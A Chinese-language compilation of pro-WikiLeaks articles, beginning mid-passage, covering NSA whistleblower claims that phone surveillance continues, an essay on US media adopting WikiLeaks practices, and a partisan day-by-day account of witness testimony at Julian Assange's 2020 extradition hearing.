“国家安全局和它的英国共犯不尊重法治，”他告诉 The Intercept，“但是对媒体组织进行非法行为是有代价的。”在谈到该集团去年提出的反对“干扰我们在欧洲的新闻工作”的刑事申诉时，Assange 警告说，“包括国家安全局在内的任何实体都不应该被允许对一名记者采取不受惩罚的行动”。

Assange 表示，鉴于新的文件被曝光，他们可能会采取进一步的法律行动以捍卫权利。

“我们已指示我们的总法律顾问 BaltasarGarzón 法官作出适当的回应，”他说。“对干扰 Wikileaks 工作的调查将随时随地进行。不要犯错误：否则责任人将被追究责任并绳之以法。“

文中引用的文档：

- Psychology: A New Kind of SIGDEV
- Discovery SIGINT Targeting Scenarios and Compliance

SNOWDEN DOCUMENTS REVEAL COVERT SURVEILLANCE AND PRESSURE TACTICS AIMED AT WIKILEAKS AND ITS SUPPORTERS

Glenn Greenwald, Ryan Gallagher

「图」

「图」

> 编者按：不受控的间谍行为早已撒开了大网，我们所有人都在网中。只要他们把一个网站、一家媒体标记为“敌对”，任何支持者甚至仅仅是点击网页的互联网游客，都被纳入了监视目标。除了联合起来抵制这种非法行为，我们别无选择。
>
> 从来没有完美政府，拒绝被监督是权力的天性，也是为什么民主体制是相对优秀的，它授予了媒体和广大公民以监督政权的权利，只要我们能捍卫自己的权利，民主就能顺利运转。这就是为什么应该全力支持媒体曝光当权者试图掩饰的东西。
>
> **Critics become criminals since truth is anathema to an empire or any authoritarian government that depends on lies for its existence**

原文

精致的诡计 - iYouPort

Wikileaks老大哥的真面目

“进攻性信息战”是什么？主流媒体称国安局关闭了曾经震惊世界的电话监听计划，但这究竟是不是真的？

「图」

「图」

“纽约时报”称，国家安全局已“悄悄”关闭了斯诺登在2013年揭露的电话记录监控计划。很多人都在庆祝这件事。但是，这是真的吗？

当美国国家安全局局长 Paul Nakasone 拒绝证实或否认这个报道时，人们对纽约时报产生了进一步的怀疑。Nakasone 说，该机构仍在“审议过程中”，关于是否要使用经过改进的电话监听数据库。

然而，所有这些都是一个精心设计的诡计。根据英国“金融时报”采访的两位前国家安全局高级官员的说法，没有任何可信的理由相信国家安全局的电话监控真的被关闭了。

当纽约时报的报道引起舆论爆炸时，我联系了两名前NSA高级官员，Russ Tice 和 Thomas Drake，以了解他们的想法。

他们两人告诉我，美国国家安全局关闭这一特定计划并不意味着结束对全民电话的监控，恰恰相反—— 该监视计划已被优质技术所取代。

曾任美国空军海军情报和国防情报局办公室负责人的前高级情报分析师 Russ Tice 表示，美国国家安全局正在关闭电话监控的最新说法很难令人信服，“为什么会有人信这种话呢？”Tice 也是2005年5月首位暴露非法监视和窃听美国公民的国家安全局举报人。

他说：“他们过去曾多次撒谎，现在他们很可能继续撒谎。他们一直在收集元数据和内容，逐字逐句，包括语音和文字。“

我问 Tice 他有多肯定国家安全局仍在对全民进行电话监控。“当然，NSA 仍在进行针对电话和计算机通信的监控，是的，’更广泛的计划’继续进行，一个更有效的新计划可能已经实施了，”他说。当前老计划退位的真正原因是现在有了更好的技术可用于更先进的监控。

美国国家安全局的前高级主管 Thomas Drake 曾在斯诺登揭露的前几年在该机构内严重批评非法的大规模监视，浪费资源和管理不善，他表示，国家安全局的电话监视“肯定会以其他形式继续”。

2015年的“美国自由法案”即将到期，但 Drake 表示，国家安全局根本不需要“自由法案”来授权继续对美国公民进行无证电话监控。他说，监控仍然可以继续进行，使用其他特殊的、紧急的计划—包括第702条和第12333号行政命令—隐藏在所谓的机密中。

Drake 承认，国家安全局也正在转向适应广泛的技术使用的变化，这很可能使旧的监视计划不再那么有用。“使用传统的固定电话和手机的通信如今越来越多地发生在其他消息应用程序上”。

在关于这个问题的一系列推文中，Drake 警告说，美国国家安全局最近的历史几乎没有证明该机构的说法：“所有这些国内间谍程序从根本上违反了宪法、FISA和第4修正案，然后在秘密FISC 批准的掩护下，通过违宪的事后法律，使其“合法”。“

Tice 和 Drake 的观点证实了 The Register 的一项独立分析：如果国家安全局提出自愿放弃其电话元数据收集，这为该机构提供了几个机会。首先，它没有必要解释秘密法律依据是什么，因此可以继续使用这种方法；其次，它可以重复与2015年相同的壮举—让国会支持所谓的“安全”；第三，它可以继续完成它正在做的，同时向所有其他人宣称监视“缩减”。

根据Tice的说法，非法的NSA监视是针对联邦政府的，目的是确保政治杠杆。他将这种监视的使用描述为一种反民主的工具，允许该机构向众议院和参议院的当选领导人施加压力。这就是为什么美国人称情报部门为隐形政府，关于这点详见《国王们的晚宴》。

他说，在2002年至2005年期间，他发现美国国家安全局一直针对性监视国会、FISA、最高法院、五角大楼高级官员、媒体、甚至未来总统候选人的所有通讯。

但美国国家安全局的监视范围远远超出了这一范围，至今仍未公开。

Tice说，由于他在国家安全局的角色，他意识到一个高度机密的活动计划，以前从未透露过，涉及“特殊访问计划（**SAP**）进攻性信息战”。

SAP 就是 Tice 所描述的“黑色世界”，这是一个完全不负责任的项目领域，用于开发具有可怕的触及范围和功率的技术。“这些计划远远超出了收集通信的范围—它们可以触及你，并造成巨大的，甚至是严重的、有形的伤害。”

当我让 Tice 提供有关这些进攻性信息战能力的进一步细节时，他拒绝详细说明。

但他确实强调，斯诺登对大规模监视的揭露只代表了国家安全局一直在做的行为的冰山一角。他表示还存在一个完全黑暗的秘密计划世界，主要由美国国防部失踪的数万亿美元资助。

有三种不同形式的 SAP，Tice 说：已承认、未承认和“幽灵”黑色程式。在国防和情报委员会中国会和参议院的代表都知道“已承认”的计划。幽灵计划国会不知道，“这些计划中有许多涉及极其昂贵的尖端技术。我是这其中的高级技术分析师之一。“

在 Tice 任职期间，这些计划仅在美国境外运作。“真正的问题是，美国国家安全局现在是否已经开始让美国公民接受其强大的黑色世界进攻性信息战能力？当国防部武器在国内对抗我们所有人时，没人能对老大哥行使追索权。“

十二年前，Tice 在众议院作证。他告诉委员会，尽管美国国家安全局的特殊访问计划可能违反了数百万美国公民的宪法权利，但委员会成员甚至国家安全局检查员都没有必要的安全许可而无法了解这些计划，更不用说监督了。

一周后，Tice 计划在参议院军事委员会面前就 NSA 监视的“不同角度”作证，但他被制止了。 Tice 说，当时五角大楼和国家安全局“告诉国会他们无法与我交谈，因为他们没有适当的安全许可。”

简而言之：不要相信主流媒体宣传的国家安全局正在关闭其大规模监视计划的内容。离真相还很远。该机构只是在不断发展和重新校准，而且像往常一样，这些主流媒体不会对国会和政府提出迫切需要提出的尴尬问题。

WHISTLEBLOWERS SAY NSA STILL SPIES ON AMERICAN PHONES

IN HIDDEN PROGRAM. the NSA’s shut down of this particular program did not imply an end to domestic phone record surveillance, but quite the opposite—that the program had been superseded by superior technology.

原文

美国媒体正在逐渐变成 Wikileaks 媒体改革成效已初步显现 ⏳ - iYouPort

Wikileaks

「图」

Scott Shane 在纽约时报发表了一篇有趣的文章，内容涉及去年我写到的一个话题：记者在从外国情报机构收到“真实的、有新闻价值的”信息时，应该怎么做？由于 Amy Chozick 担心自己成为了“不知情的俄罗斯情报代理人”，这个问题再次被突出，因为她在 2016 年报道了俄罗斯破解的 DNC 电子邮件。

Shane 认为，DNC 被泄漏事件的问题并不是信息内容本身的问题，内容“揭示了真实和重要的事情，包括党派领导层对伯尼·桑德斯竞选的敌意以及希拉里拒绝公布的私人演讲文本。”问题是，“俄罗斯黑客选择不向美国选民提供与特朗普竞选相关的内部材料”，因此“报道出现偏倚”。通过指望记者按照他们通常的规则报道公众利益的真实信息，“克里姆林宫黑客攻击美国新闻业”，Shane 总结说。

Shane 的文章除了提出“极度谨慎和充分的透明度”之外，并没有为这个问题提出任何解决方案。对于首发来说，偏倚报道没什么不寻常的。这是一种很常见的做法，记者经常发布那些他人擅自从政府或其他组织非法提取出来的信息。

根据“权力与约束”这本书中（by Jack Goldsmith）采访的许多精英记者的观点，他们会担心信息来源的动机和议程，但只是因为该议程影响到了泄露材料的真实性或新闻价值。动机无关紧要，因为记者原本就不应该在他们的报道中选边站。对“纽约时报”来说，Edward Snowden 究竟是出于想成名还是希望关闭美国国家安全局、或者希望伤害美国情报，任何动机都无关紧要。

例如，在选举前一个月泄露特朗普的“纳税申报表”的人几乎肯定想要伤害特朗普并帮助希拉里克林顿，但这与媒体对这则消息的报道没有任何关系。

Shane 的文章询问，当信息来源是外国情报机构时，规则是否应该有所不同。哥伦比亚大学法学院的 David Pozen 似乎认为不这么认为。他向 Shane 表示，发布外国间谍提供的泄漏有可能“合法化和激励黑客攻击”。“我认为这使得记者的道德计算变得更加复杂，”他补充道。

但是记者一直在发布被盗的信息，而不必担心信息源获取信息的方法是否合法。他们发表并分析了斯诺登的文件、曼宁的资料、被黑客入侵的索尼电子邮件、巴拿马文件，以及泄漏的国家安全局和中央情报局的进攻性网络工具，只举几个例子而已。还有成千上万的例子，被盗信息的出版和分析可能会激发盗窃行为并使之合法化。

然而，这些材料正是报道的生命线，特别是国家安全报告。如果 DNC 资料的出版引发了道德问题，那么发布被盗信息的更为普遍的做法也会引发同样的问题。

由于外国情报机构窃取信息的规则不同，另一个问题是，记者往往不知道信息来源的身份。正如 Shane 指出的那样，时报和其他新闻媒体“已经在他们的网页上添加了一个”安全爆料渠道“，可以让匿名者放心的递交渠道。”他说，安全递交渠道“对于美国机构内部的举报人来说可能是至关重要的，但它也可以保护坐在莫斯科或北京的黑客，”他们可以在时报不知情的情况下向时报提供信息。

“纽约时报”在得到重要真实信息但不知道来源的情况下会做什么？——会尽一切力量来验证和证实信息的真实性，然后发布。特朗普的报税表就是很好的证明。来源的身份和动机并不重要。

即使记者知道消息来源，也很难看到消息来源的动机成为试金石。

想象一下，被盗和泄露的 DNC 电子邮件信息的来源并非俄罗斯政府，而是一位心怀不满的 DNC 员工，他不情愿地断定特朗普比克林顿更可取，因为她太腐败了。很少有人会怀疑时报是否应该公布这些信息，正如肖恩指出的那样，这些信息对于克林顿的行为来说是真实而具有新闻价值的。为什么出版的标准不同，只因被盗而真实的信息来自俄罗斯人？想象中的 DNC 工作者和俄罗斯人都想伤害克林顿并帮助特朗普。但是这两份出版物都会产生相同的政治影响。（如果有的话，被 **DNC** 员工偷走并泄露给公众，对公众的影响会更大，因为更多的人会将被俄罗斯盗用的信息的价值打折理解。）

我意识到，这些问题上的直觉是不同的。但是，如果你认为俄罗斯窃取的信息不应该被公布，那么这个禁令是否适用于所有情报机构窃取

的信息呢？或来自“对手国家”公民的信息？关于维基解密发布的信息呢？要想知道新闻工作者应该在哪里坚持信息的真实性和新闻价值以及披露信息的来源，这是非常困难的。

无论正确的答案是什么，我毫不怀疑“时报”和其他精英新闻媒体将继续报道外国情报机构泄露的真实和有新闻价值的信息。实际上时报在过去的十年里组织了三种方式，邀请外国情报机构提供这些信息。

首先，纽约时报降低了近年来公布机密信息的标准。助理总顾问 David McCraw 承认（47:30 ff）一个原因是，Wikileaks 和斯诺登的经历使“时报”法律团队确信“机密信息的发布泄露没有法律后果”至少生活没有明显的危险。

其次，时报已经对哪种类型的信息，尤其是分类信息，为公众利益提供了更加宽松的理解。尤其是，正如 Shane 和两位同事在 2016 年所承认的那样，“纽约时报”和其他精英网站已经形成了“对被黑客入侵所盗取的材料的胃口”，而不仅仅是来自外国情报机构的信息。

三，如上所述，“时报”实际上邀请外国情报机构通过其安全渠道来递送窃取的信息。时报宣称，安全渠道“不会询问或要求任何可识别的信息”或“也不会跟踪记录我们通讯的环境信息”。它还表示，通过安全递送渠道发送的信息以加密格式存储在其服务器上，并在未连接到互联网的计算机上解密并读取。

所有这三方面，纽约时报所采取的模式完全就是 Wikileaks。也许“纽约时报”比 Wikileaks 更好地进行策划，编辑和分析，并且在发布内容方面更具选择性。但它发布了过去从未公布过的秘密被盗信息，并且建立了一种奇特的加密机制来匿名搜索这些被盗信息。必须承认美国媒体已经 Wikileaks 化了。

Jack Goldsmith 《The WikiLeaks-ization of the American Media》

编者注：这是媒体改革的成效。**Wikileaks** 为落魄的传统媒体提供了很好的改革模版，现在美国媒体已经开始进步，这是可喜的现象。这是 **Wikileaks** 的功劳，没人能否定这点。⏳

> It's Time To Free Assange, For freedom of the press and the future of democracy, We canNOT ignore this injustice for journalist Julian Assange. Please do all you can to tell powers that be to give him his Freedom. ⏳

原文

间谍公司、被入侵的手机、被泄漏的密码-IYP获授权发布 Julian Assange 引渡听证会部分重要内容（下） - iYouPort

Wikileaks

CIA警告他，”永远不要提起发生过什么事”，否则，如果他把这一切说出来，将会引发 “严重后果”。

「图」

「图」

接续前文的内容。在这里看到上集：《”他们射杀儿童，而营救的人却受到了惩罚”》。

—— 18 September ——

今天上午的证人是国际调查记者联盟的新西兰记者 Nicholas Hager。Hager 曾经报道过 Wikileaks 的新西兰泄漏文件。他说，泄露的机密文件对民主事业至关重要。

Hager：在我已经写过的每一个有争议的报道中，政府都声称 “会有伤害”。在这些指控的几年之后， 我得知军队正在读我的书 …… **如果没有政府认为 “敏感” 的信息，就不可能完整记录战争。这些敏感信息正是公民需要知道的关于政府在做什么的信息。**

Hager：我这辈子用过的一些最重要的材料就是 Wikileaks 提供的 “附带谋杀” 视频 —— 就如乔治·弗洛伊德被杀的视频，对公众有着深刻的影响。继 Wikileaks 的战争日志出版之后，它的效果是首次使世界了解到战争所造成的平民伤亡有多么严重。

Hager 谈到严谨的编校过程，Wikileaks 非常谨慎地准备文件和编校，“我记得整个团队一个小时一小时默默地工作， 我很高兴看到正在采取的[对真相的]保护水平”。

Hager：自从我得到真相，发现它与其他媒体上描绘的照片完全不同后， 我已经厌倦了我所看到的普通新闻。我的观点是，**Julian Assange** 是很有原则的，他致力于改变世界。他的愿景是，在数字时代采取一种新的技术方式打破当权者阴暗的秘密。

Hager：我的观点是，战争日志和电报文件就像 40 年前的五角大楼文件，正是它们所处的那个时代所需要披露的。

现在检方 James Lewis 盘问。Lewis 确定 Julian 没有被指控发布附带谋杀视频。问 Hager 的陈述为什么涉及该视频这么多。

Hager：信息是通过新闻媒体对世界产生影响的方式—— 公共辩论并不是像在法庭上那样整齐划一。因此，**Wikileaks** 的战争日记、大使馆电报、关塔那摩材料、和阿帕奇视频（也就是“附带谋杀”）影响整个世界， 而不是作为可分割的部分。

检方开始歪曲记者接收机密材料的过程。

Hager：你可以想象记者们通过被动接受信息来保护自己免受法律制裁，但是老实说，这不是它的运作方式。我们不仅使用我们的信息来源，而且我们会走出去，亲自寻求信息来源，我们鼓励信息源得到更多，***发布影响世界的重要信息就是意味着与经常违法的人打交道。***

【注：这句话非常重要】

检方开始打断证人，检方想要控制话题。

在谈到与消息来源合作时，Hager 证实记者有责任保护消息来源。他说：“我相信 Wikileaks 的人，当他们邀请我进入时，他们有非常谨慎地编校。我个人的看法是， 我不相信JA或其他人会在此改变主意”。

Hager：有 9 个月的时间警告任何可能会被提及姓名的线人，这大概就是为什么没有人会因此受到伤害。**Assange** 进行修订允许美国政府通知消息来源并告诉他们保护自己的过程。

Hager：如果引用交战规则来声称公开这些信息会把军队的生命置于危险之中的说法是 “非常值得怀疑的”。这是在误导公众。

Hager：“在WL团队研究和撰写有关大使馆电报期间，我花了很多时间与JA在一起。我所认识的这个人与美国媒体所描绘的那个形象大相径庭。

- 在这里看到美国主流媒体在这么多年来如何致力于抹黑 Julian Assange

酷刑受害者 el-Masri 是下一个证人，美国检方正在试图避免他通过视频作证。Masri是德国公民，被CIA绑架，遭受酷刑和鸡奸。在上一集中看到他的资料。

Jennifer Robinson 是WL的成员之一。

Jennifer Robinson 的书面声明写到， 当时她和 Assange 在一起， 美国国会议员 Dana Rohrabacher 和 Charles Johnson 与JA会面。特朗普知道并批准了这次访问， 美国来访者称愿意赦免**JA**， 但他必须说出泄漏文件的来源。【注：这是当时穆勒对特朗普调查的主题之一】

JR：“ Rohrabacher 【代表特朗普政府】提出了一个所谓的’双赢’的局面，称 Assange 可以’继续他的生活’—被赦免，但是，他必须交出机密信息来源的身份，**DNC**泄漏的来源将唯一对特朗普先生有利”。

JR：Julian 当然拒绝了这种交易，他不会透露任何消息来源。这表明特朗普政府愿意利用起诉书作为政治讨价还价的工具。

代表美国政府出庭的律师已经接受了 Jennifer Robinson 的证人证词是准确的，不会寻求盘问她。

下一个证人是 Khalid El Masri。就是被CIA酷刑的无辜的德国公民。

检方称他们将很少盘问 Masri。他们不反对他作证， 但 “不想渲染他受到美国政府的酷刑和折磨”。

检方称法庭准备辩护，不作出裁定—— “没有必要对战争罪做出裁定”，但辩方律师的担忧延伸到质疑酷刑受害者 Masri 先生关于WL的所作所为的全部证据， 他试图挑战这位证人。检方特别反对声称美国政府就对 El Masri 绑架/酷刑的逮捕令向德国政府施加压力—— 这是泄漏文件中所显示的。

法官：“我不认为这点上有争议”；检方：“美国政府说，辩方可以只是把相关的泄露的电报作为证据，而不是直接传唤证人。”【他们是有多不想看到他们曾经伤害过的人】

Julian在被告席后面大喊： “I will not censor a torture victim’s statement to this court. I am trying to convey those instructions clearly. I will not accept that.” 法官威胁他安静。

US lawyer: We see no utility whatsoever in having Mr el-Masri in court. None whatsoever.

Julian Assange stands up: Madam I will not accept you censoring a torture victim's statement to this court.

Judge: you are represented.

Assange: I have tried to convey those instructions.

法官说，她无意就美国对德国政府的压力做出判决，双方随后接受证据可以宣读，这样证人就不传唤了。

Mark Summers 为辩护人，正在朗读 Masri 的声明，有很多令人不安的细节—— 他被**CIA**绑架和酷刑，被鸡奸，被穿着尿布不许上厕所，被强制灌食 **……** 他被折磨了整整 **5** 个月。

他读到："Wikileaks 公开的信息、受到欧洲人权法院的信赖"。

"这些措施是有预谋的，目的是使 Masri 先生遭受剧烈的痛苦和折磨，以便获得其口供。" Masri 回忆说，那是冬天，他被单独关押在一个冰冷的混凝土牢房里，被羞辱，被脱光衣服，殴打**……** 在绝食的第**34**天，**El Masri** 说，他被从牢房拖到审讯室，"被绑在椅子上，一根管子强行穿过他的鼻子—— 灌食"。

El Masri 后来发现，CIA知道对他的拘捕是基于CIA认错人了，但是他依旧被关押了好几个月。2004年5月底，Masri 得知他将被释放。但是在此之前他再次受到审讯，CIA 威胁他，"永远不要提起发生过什么事"，否则，如果他把这一切说出来，将会引发严重后果。

辩方律师：由于 Wikileaks 公开的电报，众所周知，**德国政府屈服于来自美国政府的压力，不寻求引渡中情局酷刑小组的成员**。"我们【美国人】一直没有对 Masri 的遭遇负责。美国公民自由联盟的 FOIA 诉讼显示，中情局监察长调查了对 Masri 的引渡和酷刑。他们发现这些间谍夸大了与恐怖主义有关的数据的性质"。

El Masri："如果没有勇敢地揭露国家机密的人们， 发生在我身上的灾难将永远不会得到承认和理解。他补充说，威胁和恐吓不仅没有减少，反而扩大了，以针对有关各方"。

「图」

「图」

Julian Assange 将被安置在为9/11恐怖分子设计的条件下，每天在一个小牢房中呆23小时—— 剩下的一小时在另一个牢房度过，但仍然独自一人，美国联邦监狱顾问 Maureen Baird 在听证会上说。这就是他们如何对待全世界最可靠的吹哨平台的创始人。

—— 30 September ——

今天的主题包括西班牙间谍公司 UC Global —— 此前不久的吹哨记录显示，美国司法部正在给西班牙最高法院施加压力，以阻止后者对 UC Global 与美国间谍机构的秘密联系的调查。

UC Global负责间谍 Julian Assange 以及与 Julian 相关的任何人 —— 包括几个月大的孩子，该间谍公司甚至从垃圾桶里翻出婴儿的尿布，以提取DNA。

辩方 Mark Summers 开始阅读英国记者 Patrick Cockburn 关于 Wikileaks 战争日志的影响的证词。请注意，这份证词中不包含著名的 “附带谋杀”，于是不可能证明很多事。

Patrick Cockburn：“Wikileaks 所做的就是任何记者都应该做的事”。

辩方开始阅读另一份证人证词：来自英国调查记者 Lan Cobain，他以前在卫报工作，他调查了英国在非同寻常的引渡和酷刑中的作用。Cobain 的证词强调，很难（如果不是不可能的话）获得国家罪行的证据，如 特别引渡和其他严重虐待行为，并强调了关于此类国家犯罪的书面证据的重要性。

现在辩方开始阅读意大利调查记者 Stegania Maurizi 的证词，Maurizi 自2009 年开始作为媒体合作伙伴与Wikileaks一起工作，其中提到她于2010年9月27日在柏林与 Julian 会面，那是整整10年前，也是 Julian **最后一次** 作为自由人与他人会面。

Maurizi 的证词指出：意大利是 **唯一一个** 判定**26**名美国人有罪的国家，这**26**个人几乎都是**CIA**特工。证词强调，**Wikileaks**的泄漏文件提供了无可争辩的证据，证明美国如何施加压力使**26**名美国公民 —— 几乎全部是中情局特工—— 完全逍遥法外，导致意大利受到欧洲人权法院的谴责。

证词中也详细说明了 WikiLeaks 保护文件的安全措施： 加密、物理

隔离网闸，计算机永远不能无人看管。Maurizi 透露： 保持计算机永远不会无人看管是如此困难 ……

Maurizi 的证词表示她清楚记得自己如何目睹2010年8月在埃灵汉发生的事，那一天，Freitag 透露，加密的泄漏文件和密码在公共域暴露。她说："10 年后， 我记得每一个细节，Laura Poitras 给我们做饭。Cryscryme 发布全套未加密文件是在2010年9月1日，Wikileaks 发布在2010年9月2日后，我联系到 Bruce Schneier，他告诉我卫报犯了最严重的错误，泄漏了密码，否则没有人能拿到未加密的文件"。

【注：Laura Poitras 是美国导演和纪录片制作人，斯诺登的纪录片《第四公民》的制作人】

现在是新的证人证词，来自 Robert Boyle。证词想澄清的是，在获准访问关于意大利和梵蒂冈的4189条电报后，WL允许他访问251287条电报的完整数据库：安全程序仍然非常严格。

Robert Boyle 的证词强调，大陪审团如何被用来镇压政治异议和激进主义。他重申了曼宁所遭受的一切。

Bridget Prince 是 "One World Research" 的执行总监，该研究是一项公共利益与人权研究的调查项目。他的研究是：厄瓜多尔大使馆内间谍机构 UC Global 所从事的间谍活动。

现在是一名匿名证人的证词—— 此人被授权匿名作证，因为他是 UC Global 的前员工。在此人的证词中，重建了整个厄瓜多尔大使馆如何被 UC Global 窃听的全貌—— 用他的话说就是 为了"我们的美国朋友"：美国间谍机构。

证词中还陈述了该间谍公司如何针对 **Andy Mueller Maguhn** 和厄瓜多尔外交官进行监视，他们负责向 Assange 提供厄瓜多尔护照。此匿名证人说："*美国朋友*很高兴他们从 **UCGlobal** 获得的情报"。

【注： Andy Mueller Maguhn，德国黑客协会混沌计算机俱乐部（CCC）的成员。于1990年被任命为该俱乐部的发言人，后来担任该俱乐部的董事会成员直至2012年。在下面看到视频 】

辩方律师开始宣读 Noam Chomsky 教授的证词—— Noam Chomsky，美国语言学家、哲学家、逻辑学家、政治评论家。亚利桑那大学语言学的荣誉教授、麻省理工学院语言学荣誉退休教授，也是关于语言学、战争、政治和大众传媒等主题的100多本书的作者。

Chomsky 教授："秘密行动是控制人的重要工具"。他说，Assange为那些珍惜自由和民主的人们提供了宝贵的服务。

【关于 《什么是秘密行动》—— 其手段包括约炮 】

两名匿名证人都是间谍公司 UCGlobal 的前雇员，由于明显的原因他们无法签字：他们被获准在西班牙法院和英国法院保持匿名。

现在是 Andy Worthington 的证词—— Andy Worthington，著名调查记者和电影导演，2009年，担任有关关塔那摩被拘留者的纪录片的联合导演。辩方律师说，考虑到他多年来对关塔那摩的研究， 他的作用是提供关塔那摩的专门知识。

【关塔那摩是啥大家都知道了。略去这部分】

ACLU 律师 Jameel Jaffer：起诉 Julian Assange 是对新闻自由的严重威胁。当权者的机密措施使有争议的信息无法接受公众监督。如果媒体不公布未经授权的机密信息， 那么公民的辩论将完全由国家当局控制。

Jameel Jaffer：自9/11以来，所谓的间谍法专门针对政府的内幕人士使用。奥巴马政府借此起诉了9名吹哨人，并考虑起诉 Assange——也就是对吹哨平台的消灭，直到因违宪而放弃了这个想法。Julian Assange 从事的是新闻工作的核心。

—— 1 October ——

今天是听证会最后一天。这场听证会有可能无法改变当权者铁了心要摧毁透明度革命的事实，但是，它也给了说真话的人们一次最后的机会 —— 让全世界看到噩梦的前因后果。反抗的旅途将超乎想象地漫长，死亡也不是终点站；幸运的是，所有参与这次旅程的人们都明白这一点。

昨天，法庭听取了两名间谍公司 UC Global 前员工的证词，他们参与了美国情报部门支持的针对 Assange 的间谍活动。 证人描述了该间谍公司的主管是如何窃听厄瓜多尔大使馆的每个房间的。详细内容：《UC Global Employee Thwarted Plan To Massively Bug Ecuador Embassy For Spying On Assange》。

辩方向法官解释，双方需要多一点时间来商定2名证人的证词，然后提供西班牙案件（大使馆间谍）的最新情况—— 就是被美国司法部

施加压力阻止调查的间谍案，然后就最新起诉书的新增内容作出最后陈述。

昨天作证的意大利调查记者 Maurizi 描述了她在大使馆会面 Julian 时发生的一系列 *奇怪的事*—— 她也成为了被间谍目标。

她发现自己的手机后盖被拧开过，然后出现了很多奇怪的状况，包括电话和电子邮件被拦截，比如 在她离开大使馆后给 La Repubblica 写了一篇文章，但是该报的编辑称一直在给 Maurizi 打电话和发邮件，但是没有得到任何回复—因为她根本就没收到。那篇文章在这里。

现在最可笑的是，美国检方居然称 “即便间谍案属实” 美国也 “不会在法庭上用间谍得来的信息攻击 Assange”…… 你听听这有多可笑？这也是 Kromberg 的辩论主题。想象一个警察抓到一个偷了数百万美元的小偷，然后小偷承诺 “不会花掉这笔钱”，这事就算完了？……

法官绝对不会在美国选举日之前裁决。当辩方提出要求时，这一点已经很明确，并给予了额外的时间来准备结束辩论。 **Julian** 将留在贝尔马什监狱直到判决，因为法官拒绝准予保释。

昨天间谍公司 UC Global 的前员工的陈述由于特别多亮点，已经有很多报道，但还有其他几份证人证词。 下面强调一些可能被忽视的关键证词。

Aitor Martinez 是律师，其公司对间谍公司 UC Global 的董事 David Morales 在西班牙提起诉讼，Martinez 向法院概述了为什么证人#1和证人#2需要匿名。

Martinez: “前雇员知道 **David Morales** 曾接受过精英军事训练，是前军人，曾接受过西班牙海军陆战队特种作战部队的训练。因此，他们担心，他可以拥有枪支。

2019年9月17日，警方突袭了 Morales 的家。他们发现有 “序列号并装有弹药” 的枪。Morales 没有枪支的所有权证。这次突袭扩大了指控范围，包括 “非法拥有武器”。

Martinez: **David Morales** 可以已经查阅了证人的个人信息，包括他们的家庭地址。因此，其中一名证人目前住在另一个隐秘地点，害怕遭到报复。

Martinez: “报复或旨在阻止证人继续作证的行动的可能性远远超出了 **David Morales** 的范围，不仅延伸到 **Las Vegas Sands** 这样的组

织，也延伸到像 **Zohar Lahav** 这样的个人……”

【注：Las Vegas Sands 拉斯维加斯金沙集团，美国赌场、饭店与度假村连锁经营业者，总部设于内华达州天堂市，由谢尔登·阿德尔森担任董事长兼CEO，金沙集团是全球最大的赌场与饭店经营集团之一，旗下拥有以威尼斯人酒店为首的一系列高级赌场饭店，除了美国本土外，也在亚洲拥有许多海外投资。 】

Martinez: Lahav 是被一个证人确认为该间谍公司前安全主管的人，他是 David Morales 的密友和朋友。据信，**Zohar Lahav** 拥有维稳背景和全球广泛的人脉联系。

第17天（9月30日）的另一份声明是律师 Robert Boyle 关于大陪审团在起诉 Julian Assange 一案中滥用职权的陈述。

正如 Boyle 所指出的，检察官不应该利用大陪审团收集证据，用于“后续的刑事审判”。但责任在于被传唤的人，以表明他们被传唤只是为了准备审判。

Boyle: “由于大陪审团诉讼的保密性， 证人和 / 或已经被起诉的被告，通常缺乏证据证明传票是为不正当目的发出的。大陪审团传票 **不能** 用来阻止证人在庭审中为辩方作证，也 **不能** 以其他方式干扰辩护。但法院认为，只要寻求的证词是正确的，它仍然可以”用于不正当的目的”。

这一切都与切尔西·曼宁有关，曼宁抵制大陪审团传票。Assange于2018年3月6日被起诉，大约在曼宁因 “藐视法庭” 罪入狱前一年。政府事实上已经不需要她的证词来指控 Assange。

Boyle: （曼宁的）继续被监禁完全是惩罚性的，是”滥用大陪审团程序”，”很可能会对 Julian Assange 的辩护产生不利影响”。如果她被传唤为辩方证人，她的传票被用来预览审判证词。

记者在开庭第18天（9月30日）在法庭上宣读了几点陈述。 Patrick Cockburn ，长期中东记者，提供了有关伊拉克和阿富汗战争日志的证词。当他第一次听说 Wikileaks 的泄密事件时，他正在喀布尔。

Cockburn：（指伊拉克战争日志）这些报告所展示的是战争的常态。但是，总的来说，它们传达的现实甚至比声称最知情的新闻报道要好得多。**Wikileaks** 的文件揭露了美国作为世界上唯一的超级大国，真正发动战争的方式—— 军事和政治机构认为，这是对它们信誉和合

法性的打击。

Cockburn: “早期他们试图诋毁 Assange，重点是试图证明 Wikileaks 的披露直接导致了美国特工和线人的死亡。【这是莫须有的！】五角大楼为证实这一指控付出了巨大努力…… 五角大楼成立了由高级反情报官员 Robert Carr 准将领导的信息审查工作队，该工作队研究了揭露这些战争罪行的影响—— 他们试图 **虚构** 可能因为泄漏而被杀害的人名单….. Carr 后来在2013年7月曼宁的宣判听证会上作证时描述了其工作队失败的程度。 “

Cockburn: “经过长期研究，他的120名反情报人员小组在阿富汗和伊拉克的数千名美国特工和秘密消息来源中，没有找到任何一个人可能因泄露而死亡……”

没 ~ 有 ~ 找 ~ 到 ~ 任 ~ 何 ~ 一 ~ 个！

Cockburn: “Carr 告诉法庭，他的特遣部队似乎一度接近了目的：塔利班声称杀害了Wikileaks电报中一名美国线人。这是部分反情报人员绝望的迹象 … 正如 Carr 所承认的那样，塔利班在撒谎：’被杀者的姓名 **并不在** Wikileaks 的披露中。

Cockburn: “2010年，Wikileaks 在言论自由和反对国家阴谋方面赢得了一场伟大的胜利，而美国政府正在尽一切努力扭转这种局面——让当权者丢脸的局面。

下一个值得强调的声明是 Stefania Maurizi 的发言。她是一名记者，曾为 l’Espresso 和 la Repubblica 工作过。2009年，她首次与 Wikileaks 合作，随后披露了此案的核心文件，公之于众。

在谈到2009年的合作关系时，Maurizi 指出，“Wikileaks 关注的是保护的重要性”，即：文档和消息来源、加密和文档的完整性，确保文件不会被歪曲。

2010年9月27日：在柏林，Maurizi 会见了 Assange ，讨论与她工作的出版商的合作关系。她说，“Assange 从斯德哥尔摩直飞。他晚上 11 点左右到达我的酒店， 除了笔记本电脑和一个小塑料袋外， 没有任何行李…… 一个小塑料袋， 里面装着 T恤、牙刷和几小瓶液体肥皂。他告诉我，他的行李被盗了，他在柏林机场得到的这个小塑料袋就是全部。”

Maurizi: “有机会调查和揭露那些使战争永久化的明显谎言，从而有

